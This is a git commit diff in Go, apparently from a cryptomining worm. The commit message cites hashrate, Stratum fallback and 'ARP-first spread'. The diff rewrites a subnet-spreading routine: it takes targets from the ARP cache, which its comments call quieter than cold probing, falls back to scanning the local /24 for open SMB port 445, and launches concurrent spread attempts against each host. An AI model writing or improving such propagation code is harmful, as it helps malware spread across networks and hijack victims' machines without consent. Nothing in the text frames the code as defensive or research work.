fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

This commit is contained in:
drjones
2026-05-30 15:23:07 -07:00
parent 117801f882
commit 36fdc0194d
8 changed files with 671 additions and 44 deletions

View File

@@ -51,24 +51,53 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
ips := getLocalIPs()
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
// ARP-first: only probe hosts the OS has recently spoken to.
// Typically 520 hosts vs 253 cold-probes — far quieter and faster.
targets := arpHosts()
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
// machines with SMB open so we still reach previously-unseen machines.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
spreadSem <- struct{}{} // acquire slot
go func(t string) {
defer func() { <-spreadSem }() // release slot when done
attemptSpread(cfg, t)
}(target)
for i := 1; i < 255; i++ {
candidate := fmt.Sprintf("%s.%d", subnet, i)
if candidate == ip || seen[candidate] {
continue
}
// Quick port check — only bother with machines that have :445 open
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
for _, target := range targets {
if localSet[target] {
continue
}
spreadSem <- struct{}{}
go func(t string) {
defer func() { <-spreadSem }()
attemptSpread(cfg, t)
}(target)
}
}
func getLocalIPs() []string {